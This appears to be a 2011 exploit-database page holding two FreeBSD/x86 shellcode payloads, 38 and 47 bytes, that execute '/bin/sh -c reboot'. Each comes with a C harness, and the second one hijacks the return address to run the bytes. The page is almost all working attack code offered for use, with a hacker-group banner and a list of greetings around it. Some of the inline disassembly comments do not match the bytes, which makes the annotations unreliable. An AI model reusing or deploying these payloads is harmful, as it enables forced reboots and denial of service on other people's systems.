FreeBSD/x86 - Execve ('/bin/sh -c "reboot"') - shellcode 38/47 Bytes



EKU-ID: 345 CVE: OSVDB-ID:
Author: KedAns-Dz Published: 2011-05-30 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#======[ Sh3lL C0d3 ]=========>
/*
###
# Title : FreeBSD/x86 - Execve ('/bin/sh -c "reboot"') - shellcode 38/47 Bytes
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : FreeBSD/x86
# Type : Shellcode
###
# xXx < Greetings to 'indoushka' at the Jail ... and to his mother 'Rebbi Ya3tik eSber' > xXx
###
*/

/* ShellCode Type (1) 38 Bytes ==> */

char fbsd_reboot[]=
  "\x99"                  // cdq
  "\x52"                  // push %edx
  "\x68\x6e\x2f\x73\x68"  // push $0x68732f6e
  "\x68\x2f\x2f\x62\x69"  // push $0x69622f2f
  "\x68\x20\x2d\x63\x20"  // push $0x20632d20
  "\x68\x22\x72\x65\x62"  // push $0x22726562
  "\x68\x6f\x6f\x74\x22"  // push $0x22746f6f
  "\x89\xe3"              // movl %esp,%ebx
  "\x51"                  // push %ecx - or %edx :)
  "\x52"                  // push %edx - or %ecx :)
  "\x53"                  // push %ebx
  "\x53"                  // push %ebx
  "\x6a\x3b"              // push $0x3b
  "\x58"                  // pop %eax
  "\xcd\x80";             // int $0x80

int main() {
  void (*run)()=(void *)fbsd_reboot;
  printf("%d bytes \n",strlen(fbsd_reboot));
}


/* ShellCode Type (2) 47 Bytes ==> */

char FreeBSD_code[]=
"\xeb\x17"                // JMP SHORT
"\x5b"                    // POP EBX
"\x31\xc0"                // XOR EAX,EAX
"\x88\x43\x07"            // MOV BYTE PTR DS:[EBX+7],AL
"\x89\x5b\x08\x89"        // MOV DWORD PTR DS:[EBX-77],EBX
"\x43"                    // INC EBX
"\x0c\x50"                // OR AL,50
"\x8d\x53\x08\x52"        // LEA EDX,DWORD PTR DS:[EBX+52]
"\x53"                    // PUSH EBX
"\xb0\x3b"                // MOV AL,3B
"\x50"                    // PUSH EAX
"\xcd\x80"                // INT 80
"\xe8\xe4\xff\xff\xff"    // CALL (to string)
"/bin/sh -c reboot";      // string = '/bin/sh -c reboot'

int main(){
int *ret=(int *)(&ret+2);
printf("len : %d\n",strlen(FreeBSD_code));
*ret=(int)FreeBSD_code;
}

/*
#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== 
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================